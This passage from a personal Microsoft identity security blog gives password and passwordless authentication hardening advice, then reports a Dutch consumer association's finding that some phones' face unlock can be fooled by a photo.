  • Move away from periodic password changes to risk based password changes (e.g. through Azure AD Identity Protection)
  • Using strong and unique passwords for every individual system/site not supporting SSO (the strength of a password is mostly determined by its length, the longer the better!);
  • Securely store passwords in an MFA enabled password manager/vault that is available on both your desktop and mobile device(s)
  • Make Self-Service Password Reset available to users for those occasions where the password is needed but the user has forgotten the password or has locked itself out
  • When using ADFS, implement extranet lockout policy
  • Only use HTTPS connections (at least TLS1.2) in your environment and do not use HTTP
  • Update systems, tools, scripts to NOT set weak/generic/well-known password or account configurations (e.g. LM Hashes, Password Not Required, Password Never Expires, etc)
  • Decrease the use of passwords as much as possible by:
    • Implementing SSO
    • Implement password-less authN for Windows computers (e.g. Windows Hello for Business) and remove password based authN if possible
    • Implement password-less authN for mobile devices (e.g. Azure AD MFA + AuthNtor App Notifications And OTPs) as primary authN, preferably with at least 2 factors during that primary authN, or implement password authN as secondary authN (when using ADFS)

Additional Resources:

Hope this helps you!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), Active Directory Federation Services (ADFS), Azure AD MFA Adapter, Azure AD Password Protection, Kerberos AuthN, Microsoft Authenticator App, Multi-Factor AuthN, NTLM AuthN, Password-Less, Security, Self-Service Password Reset, SSO, WH4B, Windows Azure Active Directory, Windows Client, Windows Integrated AuthN | 1 Comment »

(2019-01-03) Some Phones Are Not That Good With Face Recognition

Posted by Jorge on 2019-01-03


Are you using face recognition to unlock your mobile phone?

And is that mobile phone on the following list?

It appears all the mobile phones on the list can be unlocked by using a picture instead of your face.

To be sure nobody access your personal data that easy, preferably and if possible use finger or a code to unlock the mobile phone

All the phones on the list titled “Toestellen ontgrendeld met een foto” can be easily unlocked with a photo of your face

All the phones on the list titled “Toestellen ontgrendeld met een foto, maar met betere beveiliging” can also be easily unlocked with a photo of your face but also provide more secure settings for face recognition

All the phones on the list titled “Toestellen die niet met een foto zijn te ontgrendelen” appear to be secure and face recognition is not fooled by a photo of your face.

From the dutch consumers authority:

https://www.consumentenbond.nl/veilig-internetten/gezichtsherkenning-te-hacken

Cheers,
Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-

########################### Jorge’s Quest For Knowledge ##########################
#################### http://JorgeQuestForKnowledge.wordpress.com/ ###################

————————————————————————————————————————————————————-

Posted in Day-To-Day Stuff, Mobile Devices, Security | Leave a Comment »

 
%d bloggers like this: